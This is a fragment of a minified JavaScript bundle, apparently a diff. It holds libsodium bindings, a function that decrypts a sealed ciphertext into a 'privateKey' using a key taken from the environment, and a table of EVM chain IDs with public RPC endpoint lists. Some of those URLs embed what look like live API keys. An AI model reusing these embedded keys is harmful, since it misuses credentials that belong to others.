o2._crypto_sign_seedbytes = () => (o2._crypto_sign_seedbytes = J2.Jb)(), o2._crypto_sign_publickeybytes = () => (o2._crypto_sign_publickeybytes = J2.Kb)(), o2._crypto_sign_secretkeybytes = () => (o2._crypto_sign_secretkeybytes = J2.Lb)(), o2._crypto_sign_messagebytes_max = () => (o2._crypto_sign_messagebytes_max = J2.Mb)(), o2._crypto_sign_seed_keypair = (t3, e4, r8) => (o2._crypto_sign_seed_keypair = J2.Nb)(t3, e4, r8), o2._crypto_sign_keypair = (t3, e4) => (o2._crypto_sign_keypair = J2.Ob)(t3, e4), o2._crypto_sign = (t3, e4, r8, n6, A6, i3) => (o2._crypto_sign = J2.Pb)(t3, e4, r8, n6, A6, i3), o2._crypto_sign_open = (t3, e4, r8, n6, A6, i3) => (o2._crypto_sign_open = J2.Qb)(t3, e4, r8, n6, A6, i3), o2._crypto_sign_detached = (t3, e4, r8, n6, A6, i3) => (o2._crypto_sign_detached = J2.Rb)(t3, e4, r8, n6, A6, i3), o2._crypto_sign_verify_detached = (t3, e4, r8, n6, A6) => (o2._crypto_sign_verify_detached = J2.Sb)(t3, e4, r8, n6, A6), o2._crypto_sign_init = (t3) => (o2._crypto_sign_init = J2.Tb)(t3), o2._crypto_sign_update = (t3, e4, r8, n6) => (o2._crypto_sign_update = J2.Ub)(t3, e4, r8, n6), o2._crypto_sign_final_create = (t3, e4, r8, n6) => (o2._crypto_sign_final_create = J2.Vb)(t3, e4, r8, n6), o2._crypto_sign_final_verify = (t3, e4, r8) => (o2._crypto_sign_final_verify = J2.Wb)(t3, e4, r8), o2._crypto_sign_ed25519_pk_to_curve25519 = (t3, e4) => (o2._crypto_sign_ed25519_pk_to_curve25519 = J2.Xb)(t3, e4), o2._crypto_sign_ed25519_sk_to_curve25519 = (t3, e4) => (o2._crypto_sign_ed25519_sk_to_curve25519 = J2.Yb)(t3, e4), o2._randombytes_random = () => (o2._randombytes_random = J2.Zb)(), o2._randombytes_stir = () => (o2._randombytes_stir = J2._b)(), o2._randombytes_uniform = (t3) => (o2._randombytes_uniform = J2.$b)(t3), o2._randombytes_buf = (t3, e4) => (o2._randombytes_buf = J2.ac)(t3, e4), o2._randombytes_buf_deterministic = (t3, e4, r8) => (o2._randombytes_buf_deterministic = J2.bc)(t3, e4, r8), o2._randombytes_seedbytes = () => (o2._randombytes_seedbytes = J2.cc)(), o2._randombytes_close = () => (o2._randombytes_close = J2.dc)(), o2._randombytes = (t3, e4, r8) => (o2._randombytes = J2.ec)(t3, e4, r8), o2._sodium_bin2hex = (t3, e4, r8, n6) => (o2._sodium_bin2hex = J2.fc)(t3, e4, r8, n6), o2._sodium_hex2bin = (t3, e4, r8, n6, A6, i3, s3) => (o2._sodium_hex2bin = J2.gc)(t3, e4, r8, n6, A6, i3, s3), o2._sodium_base64_encoded_len = (t3, e4) => (o2._sodium_base64_encoded_len = J2.hc)(t3, e4), o2._sodium_bin2base64 = (t3, e4, r8, n6, A6) => (o2._sodium_bin2base64 = J2.ic)(t3, e4, r8, n6, A6), o2._sodium_base642bin = (t3, e4, r8, n6, A6, i3, s3, a3) => (o2._sodium_base642bin = J2.jc)(t3, e4, r8, n6, A6, i3, s3, a3), o2._sodium_init = () => (o2._sodium_init = J2.kc)(), o2._sodium_pad = (t3, e4, r8, n6, A6) => (o2._sodium_pad = J2.lc)(t3, e4, r8, n6, A6), o2._sodium_unpad = (t3, e4, r8, n6) => (o2._sodium_unpad = J2.mc)(t3, e4, r8, n6), o2._sodium_version_string = () => (o2._sodium_version_string = J2.nc)(), o2._sodium_library_version_major = () => (o2._sodium_library_version_major = J2.oc)(), o2._sodium_library_version_minor = () => (o2._sodium_library_version_minor = J2.pc)(), o2._sodium_library_minimal = () => (o2._sodium_library_minimal = J2.qc)(), o2._malloc = (t3) => (o2._malloc = J2.rc)(t3), o2._free = (t3) => (o2._free = J2.sc)(t3), o2.setValue = function(t3, e4, r8 = "i8") { - switch (r8.endsWith("*") && (r8 = "*"), r8) { - case "i1": - case "i8": - I2[0 | t3] = e4; - break; - case "i16": - C2[t3 >> 1] = e4; - break; - case "i32": - m2[t3 >> 2] = e4; - break; - case "i64": - N3("to do setValue(i64) use WASM_BIGINT"); - case "float": - E2[t3 >> 2] = e4; - break; - case "double": - w2[t3 >> 3] = e4; - break; - case "*": - B2[t3 >> 2] = e4; - break; - default: - N3(`invalid type for setValue: ${r8}`); - } - }, o2.getValue = function(t3, e4 = "i8") { - switch (e4.endsWith("*") && (e4 = "*"), e4) { - case "i1": - case "i8": - return I2[0 | t3]; - case "i16": - return C2[t3 >> 1]; - case "i32": - return m2[t3 >> 2]; - case "i64": - N3("to do getValue(i64) use WASM_BIGINT"); - case "float": - return E2[t3 >> 2]; - case "double": - return w2[t3 >> 3]; - case "*": - return B2[t3 >> 2]; - default: - N3(`invalid type for getValue: ${e4}`); - } - }, o2.UTF8ToString = L2, S2 = function t3() { - R2 || j2(), R2 || (S2 = t3); - }, o2.preInit) - for ("function" == typeof o2.preInit && (o2.preInit = [o2.preInit]); o2.preInit.length > 0; ) - o2.preInit.pop()(); - j2(); - }).catch(function() { - return i2.useBackupModule(); - }), n4; - } - "string" != typeof r5.nodeName ? A3(r5) : n3.libsodium = A3(n3.libsodium_mod || (n3.commonJsStrict = {})); - }(t); - }(Yu, Yu.exports)), Yu.exports)) : r4.sodium = n2(r4.commonJsStrict = {}, r4.libsodium), A2 && r4.sodium.ready.then(function() { - A2(r4.sodium); - }); - }(t); - }(Ou); - var Ku = e(Ou); - var Ju = "HSK_"; - async function ju(t2) { - await Ku.ready; - let e2 = null, r4 = null; - const n2 = process.env.X25519_PRIVATE_KEY; - if (!n2) - return console.warn("X25519_PRIVATE_KEY is not defined"), { privateKey: null, publicKey: null }; - if (e2 = await async function(t3) { - await Ku.ready; - const e3 = Ku.from_base64(t3, Ku.base64_variants.URLSAFE_NO_PADDING); - return Ku.crypto_scalarmult_base(e3, "base64"); - }(n2), !e2) - return console.warn("Public key is null"), { privateKey: null, publicKey: null }; - if (!t2?.length) - return console.warn("No cipherText was provided"), { privateKey: null, publicKey: null }; - const A2 = Ku.from_base64(e2, Ku.base64_variants.URLSAFE_NO_PADDING), i2 = Ku.from_base64(n2, Ku.base64_variants.URLSAFE_NO_PADDING), o2 = Ku.from_base64(t2, Ku.base64_variants.URLSAFE_NO_PADDING), s2 = Ku.crypto_box_seal_open(o2, A2, i2, "text"); - return r4 = s2?.replace(Ju, ""), { privateKey: r4, publicKey: e2 }; - } - var zu; - var qu; - var Xu = Object.create; - var Vu = Object.defineProperty; - var Wu = Object.getOwnPropertyDescriptor; - var Zu = Object.getOwnPropertyNames; - var $u = Object.getPrototypeOf; - var tl = Object.prototype.hasOwnProperty; - var el = (t2, e2) => function() { - return t2 && (e2 = (0, t2[Zu(t2)[0]])(t2 = 0)), e2; - }; - var rl = (t2, e2) => function() { - return e2 || (0, t2[Zu(t2)[0]])((e2 = { exports: {} }).exports, e2), e2.exports; - }; - var nl = (t2, e2, r4) => (r4 = null != t2 ? Xu($u(t2)) : {}, ((t3, e3, r5, n2) => { - if (e3 && "object" == typeof e3 || "function" == typeof e3) - for (let A2 of Zu(e3)) - tl.call(t3, A2) || A2 === r5 || Vu(t3, A2, { get: () => e3[A2], enumerable: !(n2 = Wu(e3, A2)) || n2.enumerable }); - return t3; - })(!e2 && t2 && t2.__esModule ? r4 : Vu(r4, "default", { value: t2, enumerable: true }), t2)); - var Al = el({ ""() { - zu = { 1: "ethereum", 8: "ubiq", 10: "optimism", 19: "songbird", 20: "elastos", 24: "kardiachain", 25: "cronos", 30: "rsk", 40: "telos", 50: "xdc", 52: "csc", 55: "zyx", 56: "binance", 57: "syscoin", 60: "gochain", 61: "ethereumclassic", 66: "okexchain", 70: "hoo", 82: "meter", 87: "nova network", 88: "viction", 100: "xdai", 106: "velas", 108: "thundercore", 122: "fuse", 128: "heco", 137: "polygon", 148: "shimmer_evm", 169: "manta", 200: "xdaiarb", 204: "op_bnb", 246: "energyweb", 248: "oasys", 250: "fantom", 269: "hpb", 288: "boba", 311: "omax", 314: "filecoin", 321: "kucoin", 324: "era", 336: "shiden", 361: "theta", 369: "pulse", 416: "sx", 463: "areon", 534: "candle", 570: "rollux", 592: "astar", 820: "callisto", 888: "wanchain", 1030: "conflux", 1088: "metis", 1101: "polygon_zkevm", 1116: "core", 1231: "ultron", 1234: "step", 1284: "moonbeam", 1285: "moonriver", 1440: "living assets mainnet", 1559: "tenet", 1975: "onus", 2e3: "dogechain", 2222: "kava", 2332: "soma", 4337: "beam", 4689: "iotex", 5e3: "mantle", 5050: "xlc", 5551: "nahmii", 6969: "tombchain", 7700: "canto", 8217: "klaytn", 8453: "base", 8899: "jbc", 9001: "evmos", 9790: "carbon", 1e4: "smartbch", 15551: "loop", 17777: "eos_evm", 32520: "bitgert", 32659: "fusion", 32769: "zilliqa", 42161: "arbitrum", 42170: "arbitrum_nova", 42220: "celo", 42262: "oasis", 43114: "avalanche", 47805: "rei", 55555: "reichain", 59144: "linea", 71402: "godwoken", 333999: "polis", 420420: "kekchain", 888888: "vision", 245022934: "neon", 1313161554: "aurora", 16666e5: "harmony", 11297108109: "palm", 836542336838601: "curio" }; - } }); - var il = el({ ""() { - qu = { 1: ["https://mainnet.eth.cloud.ava.do/", "https://ethereumnodelight.app.runonflux.io", "https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://main-light.eth.linkpool.io", "https://rpc.notadegen.com/eth", "https://eth.llamarpc.com", "https://endpoints.omniatech.io/v1/eth/mainnet/public", "https://go.getblock.io/d7dab8149ec04390aaa923ff2768f914", "https://ethereum-rpc.publicnode.com", "https://1rpc.io/eth", "https://rpc.builder0x69.io/", "https://rpc.mevblocker.io", "https://rpc.flashbots.net/", "https://eth-pokt.nodies.app", "https://rpc.payload.de", "https://api.zmok.io/mainnet/oaen6dy8ff6hju9k", "https://eth.meowrpc.com", "https://eth.drpc.org", "https://eth.merkle.io", "https://rpc.lokibuilder.xyz/wallet", "https://api.stateless.solutions/ethereum/v1/0ec6cac0-ecac-4247-8a41-1e685deadfe4", "https://rpc.polysplit.cloud/v1/chain/1", "https://rpc.tornadoeth.cash/eth", "https://rpc.tornadoeth.cash/mev"], 2: ["https://node.eggs.cool", "https://node.expanse.tech"], 3: ["https://rpc.ankr.com/eth_ropsten", "https://ropsten.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161"], 4: ["https://rpc.ankr.com/eth_rinkeby", "https://rinkeby.infura.io/3/9aa3d95b3bc440fa88ea12eaa4456161"], 5: ["https://endpoints.omniatech.io/v1/eth/goerli/public", "https://ethereum-goerli-rpc.publicnode.com", "https://rpc.tornadoeth.cash/goerli"], 6: ["https://www.ethercluster.com/kotti"], 7: ["https://rpc.dome.cloud"], 8: ["https://rpc.octano.dev"], 10: ["https://mainnet.optimism.io/", "https://optimism.llamarpc.com", "https://1rpc.io/op", "https://op-pokt.nodies.app", "https://endpoints.omniatech.io/v1/op/mainnet/public", "https://optimism-rpc.publicnode.com", "https://optimism.meowrpc.com", "https://optimism.drpc.org", "https://api.stateless.solutions/optimism/v1/f373feb1-c8e4-41c9-bb74-2c691988dd34", "https://rpc.tornadoeth.cash/optimism"], 11: ["https://api.metadium.com/dev"], 14: [], 15: ["https://prenet.diode.io:8443/"], 17: ["https://rpc.thaifi.com"], 19: ["https://songbird.towolabs.com/rpc"], 20: ["https://api.elastos.io/esc", "https://api.trinity-tech.io/esc"], 22: ["https://api.trinity-tech.io/eid", "https://api.elastos.io/eid"], 24: ["https://rpc.kardiachain.io"], 25: ["https://evm.cronos.org", "https://cronos-rpc.elk.finance/", "https://cronos-evm-rpc.publicnode.com", "https://1rpc.io/cro"], 27: ["https://rpc.shibachain.net"], 29: ["https://rpc.genesisl1.org"], 30: ["https://public-node.rsk.co"], 33: ["https://rpc.goodata.io"], 35: ["https://rpc.tbwg.io"], 38: ["https://rpc.valorbit.com/v2"], 40: ["https://mainnet.telos.net/evm", "https://rpc1.eu.telos.net/evm", "https://rpc1.us.telos.net/evm", "https://rpc2.us.telos.net/evm", "https://api.kainosbp.com/evm", "https://rpc2.eu.telos.net/evm", "https://evm.teloskorea.com/evm", "https://rpc2.teloskorea.com/evm", "https://rpc01.us.telosunlimited.io/evm", "https://rpc02.us.telosunlimited.io/evm", "https://1rpc.io/telos/evm"], 44: [], 50: ["https://rpc.xdcrpc.com", "https://rpc1.xinfin.network", "https://erpc.xinfin.network", "https://rpc.xinfin.network", "https://erpc.xdcrpc.com", "https://rpc.xdc.org"], 51: ["https://rpc.apothem.network", "https://erpc.apothem.network", "https://apothem.xdcrpc.com"], 52: ["https://rpc.coinex.net/", "https://rpc1.coinex.net/", "https://rpc2.coinex.net/", "https://rpc3.coinex.net/", "https://rpc4.coinex.net/"], 55: ["https://rpc-1.zyx.network/", "https://rpc-2.zyx.network/", "https://rpc-3.zyx.network/", "https://rpc-5.zyx.network/"], 56: ["https://bsc-dataseed.bnbchain.org/", "https://bsc-dataseed1.defibit.io/", "https://bsc-dataseed1.ninicoin.io/", "https://bsc-dataseed2.defibit.io/", "https://bsc-dataseed3.defibit.io/", "https://bsc-dataseed4.defibit.io/", "https://bsc-dataseed2.ninicoin.io/", "https://bsc-dataseed3.ninicoin.io/", "https://bsc-dataseed4.ninicoin.io/", "https://bsc-dataseed1.bnbchain.org/", "https://bsc-dataseed2.bnbchain.org/", "https://bsc-dataseed3.bnbchain.org/", "https://bsc-dataseed4.bnbchain.org/", "https://bsc-dataseed6.dict.life/", "https://bscrpc.com", "https://bsc.rpcgator.com/", "https://bsc-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://nodes.vefinetwork.org/smartchain", "https://binance.llamarpc.com", "https://endpoints.omniatech.io/v1/bsc/mainnet/public", "https://bsc-pokt.nodies.app", "https://1rpc.io/bnb", "https://bsc-rpc.publicnode.com", "https://bsc.meowrpc.com", "https://bsc.drpc.org", "https://rpc.polysplit.cloud/v1/chain/56", "https://rpc.tornadoeth.cash/bsc"], 57: ["https://rpc.syscoin.org", "https://syscoin-evm-rpc.publicnode.com"], 58: ["https://dappnode1.ont.io:10339", "https://dappnode2.ont.io:10339", "https://dappnode3.ont.io:10339", "https://dappnode4.ont.io:10339"], 59: ["https://api.eosargentina.io", "https://api.metahub.cash"], 60: ["https://rpc.gochain.io"], 61: ["https://etc.mytokenpocket.vip", "https://rpc.etcinscribe.com", "https://etc.etcdesktop.com", "https://etc.rivet.link"], 62: ["https://www.ethercluster.com/morden"], 63: ["https://rpc.mordor.etccooperative.org"], 64: [], 66: ["https://exchainrpc.okex.org", "https://1rpc.io/oktc"], 68: [], 70: ["https://http-mainnet.hoosmartchain.com"], 74: ["https://idchain.one/rpc/"], 76: [], 77: ["https://sokol.poa.network"], 78: ["https://ethnode.primusmoney.com/mainnet"], 79: ["https://dataserver-us-1.zenithchain.co/", "https://dataserver-asia-3.zenithchain.co/", "https://dataserver-asia-4.zenithchain.co/", "https://dataserver-asia-2.zenithchain.co/"], 80: [], 82: ["https://rpc.meter.io"], 86: ["https://evm.gatenode.cc"], 87: ["https://rpc.novanetwork.io:9070", "https://dev.rpc.novanetwork.io/"], 88: ["https://rpc.tomochain.com"], 90: ["https://s0.garizon.net/rpc"], 91: ["https://s1.garizon.net/rpc"], 92: ["https://s2.garizon.net/rpc"], 93: ["https://s3.garizon.net/rpc"], 96: ["https://rpc.bitkubchain.io"], 97: ["https://bsctestapi.terminet.io/rpc", "https://endpoints.omniatech.io/v1/bsc/testnet/public", "https://bsc-testnet-rpc.publicnode.com"], 99: ["https://core.poanetwork.dev"], 100: ["https://rpc.gnosischain.com", "https://xdai-archive.blockscout.com", "https://gnosis-pokt.nodies.app", "https://gnosis.drpc.org", "https://endpoints.omniatech.io/v1/gnosis/mainnet/public", "https://gnosis-rpc.publicnode.com", "https://1rpc.io/gnosis", "https://rpc.tornadoeth.cash/gnosis"], 101: [], 106: ["https://evmexplorer.velas.com/rpc", "https://velas-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf"], 108: ["https://mainnet-rpc.thundercore.com"], 111: ["https://rpc.etherlite.org"], 119: ["https://evmapi.nuls.io", "https://evmapi2.nuls.io"], 122: ["https://rpc.fuse.io", "https://fuse-pokt.nodies.app"], 123: ["https://rpc.fusespark.io"], 124: [], 126: ["https://rpc.mainnet.oychain.io", "https://rpc.oychain.io"], 127: [], 128: ["https://http-mainnet.hecochain.com", "https://http-mainnet-node.huobichain.com", "https://hecoapi.terminet.io/rpc"], 131: ["https://tokioswift.engram.tech", "https://tokio-archive.engram.tech"], 137: ["https://rpc-mainnet.maticvigil.com", "https://polygon-rpc.com", "https://rpc-mainnet.matic.network", "https://matic-mainnet-full-rpc.bwarelabs.com", "https://matic-mainnet-archive-rpc.bwarelabs.com", "https://polygonapi.terminet.io/rpc", "https://polygon-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://polygon-mainnet-public.unifra.io", "https://polygon.llamarpc.com", "https://endpoints.omniatech.io/v1/matic/mainnet/public", "https://polygon-pokt.nodies.app", "https://1rpc.io/matic", "https://polygon-bor-rpc.publicnode.com", "https://polygon.drpc.org", "https://polygon.meowrpc.com", "https://getblock.io/nodes/matic/", "https://api.stateless.solutions/polygon/v1/5850f066-209e-4e3c-a294-0757a4eb34b3", "https://rpc.tornadoeth.cash/polygon"], 142: ["https://rpc.prodax.io"], 163: ["https://node.mainnet.lightstreams.io"], 167: ["https://node.atoshi.io", "https://node2.atoshi.io", "https://node3.atoshi.io"], 169: ["https://pacific-rpc.manta.network/http", "https://1rpc.io/manta"], 186: ["https://rpc.seelen.pro/"], 188: ["https://mainnet.bmcchain.com/"], 195: [], 199: ["https://rpc.bittorrentchain.io/"], 200: ["https://arbitrum.xdaichain.com"], 204: ["https://opbnb-rpc.publicnode.com", "https://1rpc.io/opbnb"], 211: [], 217: ["https://rpc2.siriusnet.io"], 222: ["https://blockchain-api-mainnet.permission.io/rpc"], 246: ["https://rpc.energyweb.org"], 248: ["https://oasys-mainnet.gateway.pokt.network/v1/lb/c967bd31", "https://oasys-mainnet-archival.gateway.pokt.network/v1/lb/c967bd31"], 250: ["https://rpcapi.fantom.network", "https://rpc.ftm.tools/", "https://rpc.fantom.network", "https://rpc2.fantom.network", "https://rpc3.fantom.network", "https://endpoints.omniatech.io/v1/fantom/mainnet/public", "https://fantom-pokt.nodies.app", "https://1rpc.io/ftm", "https://fantom-rpc.publicnode.com", "https://fantom.drpc.org"], 255: ["https://1rpc.io/kroma"], 256: ["https://hecotestapi.terminet.io/rpc"], 258: [], 262: ["https://sur.nilin.org"], 288: ["https://mainnet.boba.network/", "https://1rpc.io/boba/eth"], 300: [], 311: ["https://mainapi.omaxray.com/"], 314: ["https://api.node.glif.io", "https://node.filutils.com/rpc/v1", "https://api.chain.love/rpc/v1"], 321: ["https://rpc-mainnet.kcc.network", "https://kcc.mytokenpocket.vip", "https://kcc-rpc.com"], 324: ["https://zksync.meowrpc.com", "https://zksync.drpc.org", "https://1rpc.io/zksync2-era"], 333: [], 336: ["https://rpc.shiden.astar.network:8545/"], 338: ["https://evm-t3.cronos.org/"], 361: ["https://eth-rpc-api.thetatoken.org/rpc"], 369: ["https://rpc.pulsechain.com", "https://rpc-pulsechain.g4mm4.io", "https://evex.cloud/pulserpc", "https://pulse-s.projectpi.xyz", "https://pulsechain-rpc.publicnode.com"], 385: [], 416: ["https://rpc.sx.technology"], 420: ["https://endpoints.omniatech.io/v1/op/goerli/public", "https://optimism-goerli-rpc.publicnode.com"], 463: ["https://mainnet-rpc.areon.network", "https://mainnet-rpc2.areon.network", "https://mainnet-rpc3.areon.network", "https://mainnet-rpc4.areon.network", "https://mainnet-rpc5.areon.network"], 499: [], 512: ["https://rpc.acuteangle.com"], 530: ["https://fx-json-web3.portfolio-x.xyz:8545/"], 555: ["https://rpc.velaverse.io"], 558: ["https://rpc.tao.network"], 570: ["https://rpc.rollux.com", "https://rollux.rpc.syscoin.org"], 592: ["https://evm.astar.network/", "https://rpc.astar.network:8545", "https://getblock.io/nodes/bsc/", "https://1rpc.io/astr"], 595: [], 686: ["https://eth-rpc-karura.aca-staging.network", "https://rpc.evm.karura.network"], 707: [], 777: ["https://node.cheapeth.org/rpc"], 787: ["https://eth-rpc-acala.aca-staging.network", "https://rpc.evm.acala.network"], 803: [], 813: ["https://mainnet.meerlabs.com"], 820: ["https://rpc.callisto.network", "https://clo-geth.0xinfra.com/"], 880: [], 888: ["https://gwan-ssl.wandevs.org:56891", "https://gwan2-ssl.wandevs.org"], 943: ["https://pulsetest-s.projectpi.xyz", "https://pulsechain-testnet-rpc.publicnode.com"], 977: [], 998: [], 1001: ["https://public-en-baobab.klaytn.net"], 1003: [], 1010: ["https://meta.evrice.com"], 1012: ["https://global.rpc.mainnet.newtonproject.org"], 1022: [], 1024: ["https://api-para.clover.finance"], 1030: ["https://evm.confluxrpc.com", "https://conflux-espace-public.unifra.io"], 1072: ["https://json-rpc.evm.testnet.shimmer.network/"], 1088: ["https://andromeda.metis.io/?owner=1088", "https://metis-pokt.nodies.app"], 1089: ["https://humans-mainnet-evm.itrocket.net"], 1100: ["https://jsonrpc.dymension.nodestake.org", "https://evm-archive.dymd.bitszn.com", "https://dymension.liquify.com/json-rpc", "https://dymension-evm.kynraze.com"], 1101: ["https://1rpc.io/polygon/zkevm", "https://polygon-zkevm.drpc.org"], 1115: ["https://rpc.test.btcs.network"], 1116: ["https://rpc.coredao.org", "https://core.public.infstones.com", "https://1rpc.io/core"], 1130: ["https://dmc.mydefichain.com/mainnet", "https://dmc01.mydefichain.com/mainnet"], 1131: ["https://dmc.mydefichain.com/testnet", "https://dmc01.mydefichain.com/testnet", "https://eth.testnet.ocean.jellyfishsdk.com/"], 1139: ["https://mathchain.maiziqianbao.net/rpc"], 1197: [], 1202: [], 1213: ["https://dataseed.popcateum.org"], 1214: [], 1231: ["https://ultron-rpc.net"], 1246: ["https://rpc-cnx.omplatform.com"], 1280: ["https://nodes.halo.land"], 1284: ["https://rpc.api.moonbeam.network", "https://1rpc.io/glmr", "https://endpoints.omniatech.io/v1/moonbeam/mainnet/public", "https://moonbeam-rpc.publicnode.com"], 1285: ["https://moonriver-rpc.publicnode.com"], 1287: ["https://rpc.testnet.moonbeam.network"], 1288: [], 1338: ["https://rpc.atlantischain.network/"], 1339: ["https://rpc.elysiumchain.tech/", "https://rpc.elysiumchain.us/"], 1440: [], 1442: [], 1501: ["https://rpc-canary-1.bevm.io/", "https://rpc-canary-2.bevm.io/"], 1506: ["https://mainnet.sherpax.io/rpc"], 1515: ["https://beagle.chat/eth"], 1618: ["https://send.catechain.com"], 1620: [], 1657: ["https://dataseed1.btachain.com/"], 1707: ["https://rpc.blockchain.or.th"], 1708: ["https://rpc.testnet.blockchain.or.th"], 1856: [], 1881: ["https://rpc.cartenz.works"], 1972: ["https://rpc2.redecoin.eu"], 1975: ["https://rpc.onuschain.io"], 1987: [], 2e3: ["https://rpc.dogechain.dog", "https://rpc-us.dogechain.dog", "https://rpc-sg.dogechain.dog", "https://rpc.dogechain.dog", "https://rpc01-sg.dogechain.dog", "https://rpc02-sg.dogechain.dog", "https://rpc03-sg.dogechain.dog"], 2016: ["https://eu-rpc.mainnetz.io"], 2021: ["https://mainnet2.edgewa.re/evm", "https://mainnet3.edgewa.re/evm", "https://edgeware-evm.jelliedowl.net/"], 2025: ["https://mainnet.rangersprotocol.com/api/jsonrpc"], 2049: ["https://msc-rpc.movoscan.com/"], 2077: [], 2100: ["https://api.ecoball.org/ecoball/"], 2213: ["https://seed4.evanesco.org:8546"], 2222: ["https://evm.kava.io", "https://kava-evm-rpc.publicnode.com", "https://kava-pokt.nodies.app"], 2323: [], 2332: [], 2458: [], 2468: [], 2559: [], 2612: ["https://api.ezchain.com/ext/bc/C/rpc"], 3501: ["https://rpc.jfinchain.com"], 3639: ["https://rpc.ichainscan.com"], 3690: [], 4002: ["https://rpc.testnet.fantom.network/", "https://endpoints.omniatech.io/v1/fantom/testnet/public", "https://fantom-testnet-rpc.publicnode.com"], 4139: ["https://humans-testnet-evm.itrocket.net"], 4181: ["https://rpc1.phi.network"], 4444: ["https://janus.htmlcoin.dev/janus/"], 4689: ["https://babel-api.mainnet.iotex.io", "https://babel-api.mainnet.iotex.one", "https://babel-api.fastblocks.io"], 5e3: ["https://mantle-rpc.publicnode.com", "https://mantle.drpc.org", "https://1rpc.io/mantle"], 5050: ["https://rpc.liquidchain.net/", "https://rpc.xlcscan.com/"], 5165: ["https://bahamut-rpc.publicnode.com"], 5177: [], 5197: ["https://mainnet.eraswap.network"], 5315: [], 5551: ["https://l2.nahmii.io/"], 5700: ["https://rollux.rpc.tanenbaum.io", "https://syscoin-tanenbaum-evm-rpc.publicnode.com"], 5729: ["https://rpc-testnet.hika.network"], 5869: ["https://proxy.wegochain.io"], 6363: ["https://dsc-rpc.digitsoul.co.th"], 6626: ["https://http-mainnet.chain.pixie.xyz"], 6688: ["https://iris-evm-rpc.publicnode.com"], 7e3: ["https://zeta.rpcgrid.com"], 7001: [], 7070: ["https://planq-rpc.nodies.app", "https://jsonrpc.planq.nodestake.top/"], 7341: ["https://rpc.shyft.network/"], 7700: ["https://canto.gravitychain.io/", "https://canto.evm.chandrastation.com/", "https://jsonrpc.canto.nodestake.top/", "https://canto.dexvaults.com/", "https://canto-rpc.ansybl.io"], 7777: ["https://testnet1.rotw.games", "https://testnet2.rotw.games", "https://testnet3.rotw.games", "https://testnet4.rotw.games", "https://testnet5.rotw.games"], 7895: [], 8e3: ["https://dataseed.testnet.teleport.network"], 8081: [], 8082: [], 8131: ["https://testnet.meerlabs.com"], 8217: ["https://public-en-cypress.klaytn.net", "https://1rpc.io/klay", "https://klaytn-pokt.nodies.app", "https://klaytn.drpc.org"], 8453: ["https://mainnet.base.org", "https://developer-access-mainnet.base.org", "https://rpc.notadegen.com/base", "https://base.llamarpc.com", "https://1rpc.io/base", "https://base-pokt.nodies.app", "https://base.meowrpc.com", "https://base-rpc.publicnode.com", "https://base.drpc.org", "https://endpoints.omniatech.io/v1/base/mainnet/public"], 8899: ["https://rpc-l1.jibchain.net", "https://jib-rpc.inan.in.th", "https://rpc-l1.jbc.aomwara.in.th", "https://rpc-l1.jbc.xpool.pw"], 8995: ["https://core.bloxberg.org"], 9e3: ["https://evmos-testnet-json.qubelabs.io", "https://evmos-tjson.antrixy.org", "https://evmos-testnet-rpc.kingsuper.services", "https://rpc.evmos.test.theamsolutions.info", "https://api.evmos-test.theamsolutions.info", "https://rpc.evmos.testnet.node75.org", "https://rpc-evm.testnet.evmos.dragonstake.io", "https://evmos-testnet-rpc.stake-town.com", "https://evmos-testnet-jsonrpc.stake-town.com", "https://api.evmos-test.theamsolutions.info", "https://jsonrpc-t.evmos.nodestake.top", "https://evmos-testnet-jsonrpc.autostake.com", "https://evmos-testnet-jsonrpc.alkadeta.com", "https://evm-rpc.evmost.silentvalidator.com", "https://testnet-evm-rpc-evmos.hoodrun.io", "https://alphab.ai/rpc/eth/evmos_testnet", "https://t-evmos-jsonrpc.kalia.network", "https://jsonrpc-evmos-testnet.mzonder.com", "https://evmos-testnet.lava.build/lava-referer-16223de7-12c0-49f3-8d87-e5f1e6a0eb3b"], 9001: ["https://jsonrpc-evmos.goldenratiostaking.net", "https://eth.bd.evmos.org:8545/", "https://evmos-json-rpc.stakely.io", "https://jsonrpc-evmos-ia.cosmosia.notional.ventures", "https://json-rpc.evmos.blockhunters.org", "https://evmos-json-rpc.agoranodes.com", "https://evmos-json.antrixy.org", "https://jsonrpc.evmos.nodestake.top", "https://evmos-jsonrpc.alkadeta.com", "https://evmos-json.qubelabs.io", "https://evmos-rpc.theamsolutions.info", "https://evmos-api.theamsolutions.info", "https://evmos-jsonrpc.theamsolutions.info", "https://evm-rpc-evmos.hoodrun.io", "https://evmos-json-rpc.0base.dev", "https://json-rpc.evmos.tcnetwork.io", "https://rpc-evm.evmos.dragonstake.io", "https://evmosevm.rpc.stakin-nodes.com", "https://evmos-jsonrpc.stake-town.com", "https://json-rpc-evmos.mainnet.validatrium.club", "https://rpc-evmos.imperator.co", "https://evm-rpc.evmos.silentvalidator.com", "https://alphab.ai/rpc/eth/evmos", "https://evmos-jsonrpc.kalia.network", "https://jsonrpc-evmos.mzonder.com", "https://evmos-pokt.nodies.app", "https://evmos-evm-rpc.publicnode.com"], 9100: [], 1e4: ["https://smartbch.fountainhead.cash/mainnet", "https://global.uat.cash", "https://rpc.uatvo.com"], 10086: [], 10101: ["https://eu.mainnet.xixoio.com"], 10200: ["https://rpc.chiadochain.net", "https://gnosis-chiado-rpc.publicnode.com", "https://1rpc.io/gnosis"], 10248: [], 11111: ["https://api.trywagmi.xyz/rpc"], 11235: ["https://haqq-evm-rpc.publicnode.com"], 12052: ["https://zerorpc.singularity.gold"], 13e3: ["https://rpc.ssquad.games"], 13381: ["https://rpc.phoenixplorer.com/"], 15551: [], 15557: [], 16e3: [], 17e3: ["https://ethereum-holesky-rpc.publicnode.com", "https://1rpc.io/holesky", "https://holesky-rpc.nocturnode.tech"], 17777: [], 18159: ["https://mainnet-rpc.memescan.io/", "https://mainnet-rpc2.memescan.io/", "https://mainnet-rpc3.memescan.io/", "https://mainnet-rpc4.memescan.io/"], 19845: [], 21816: ["https://seed.omlira.com"], 